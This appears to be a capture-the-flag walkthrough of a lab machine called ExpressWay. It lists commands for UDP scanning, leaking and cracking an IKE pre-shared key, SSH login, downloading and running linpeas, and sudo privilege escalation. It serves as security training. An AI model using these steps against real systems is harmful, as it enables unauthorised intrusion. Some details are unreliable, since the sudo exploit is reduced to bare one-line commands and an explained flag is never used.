🧠 OVERVIEW

Target: ExpressWay (Easy Linux box)

Skills learned:

UDP enumeration
IKE/IPSec exploitation
Password cracking
Service enumeration
Privilege escalation (sudo CVEs)

🔍 STEP 1: RECONNAISSANCE

Start with TCP scan:

BASH

nmap -sC -sV -p- --min-rate 2000 -Pn <TARGET_IP>

```
-sC
```
→ Default scripts (version detection + vulnerability checks)
```
-sV
```
→ Service/version fingerprinting
```
-p-
```
→ Scan all 65,535 TCP ports
```
--min-rate 2000
```
→ Speed up scanning (aggressive but reliable on HTB)
```
-Pn
```
→ Skip host discovery (target may drop ICMP)

📊 Result

Only port 22 (SSH) open.

Looks clean… but this is misleading.

🧠 LESSON

TCP-only scanning is NOT enough.

👉 Always check UDP.

🌐 STEP 2: UDP SCAN

BASH

nmap -sU -p- --min-rate 1000 -Pn <TARGET_IP>

📊 Result

UDP 500 → IKE service

🧠 WHY IMPORTANT

IKE is used in VPNs.

👉 Misconfigurations here = serious vulnerability.

💣 STEP 3: IKE AGGRESSIVE MODE ATTACK

Probe IKE:

BASH

ike-scan -A <TARGET_IP>

```
-M
```
→ Multiline output (easier to parse)
```
-A
```
→ Aggressive Mode (forces the server to respond with ID and HASH_R)

Extract hash:

BASH

ike-scan -A --pskcrack <TARGET_IP> > psk.log

```
--pskcrack
```
→ Outputs the exact parameters required for cracking tools
```
(g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r)
```

Key Output:

ID →
```
ike@expressway.htb
```
Raw PSK hash → used for password cracking (hashcat / psk-crack)

🧠 WHAT HAPPENS

Aggressive Mode leaks PSK hash.

🔓 STEP 4: CRACK PASSWORD

BASH

hashcat -m 5400 ike.hash rockyou.txt

📊 Result

Password found.

🧠 LESSON

Weak PSKs = easy compromise.

🔐 STEP 5: INITIAL ACCESS

BASH

ssh ike@<TARGET_IP>

Password = cracked PSK

🧠 COMMON MISTAKE

Password reuse.

📂 STEP 6: ENUMERATION

Check services:

BASH

nmap -sU -p 69 --script tftp-enum <TARGET_IP>

🧠 RESULT

Download Cisco config files (often contain more creds or network diagrams). In this box it’s a red herring for the main path, but shows thorough enum.

🧪 STEP 7: LINPEAS

BASH

wget https://.../linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

🧠 RESULT

Key finding: Outdated sudo (vulnerable to CVE-2025-32463 and CVE-2025-32462).

⚡ STEP 8: PRIVILEGE ESCALATION

Exploit sudo vulnerability:

BASH

sudo -R /tmp/chroot /bin/sh

OR:

BASH

sudo -h target -i

🧠 WHY THIS WORKS

Sudo path resolution flaw
Hostname bypass vulnerability

👑 STEP 9: ROOT ACCESS

You now have root.

📂 Get flags:

/home/ike/user.txt
/root/root.txt

🧠 FINAL LESSONS

Always scan UDP
Misconfigured VPNs are dangerous
Password reuse kills security
Enumeration is everything
Outdated software = easy root

🔥 FINAL MESSAGE

This is how real attackers think:

Enumerate → Exploit → Escalate → Own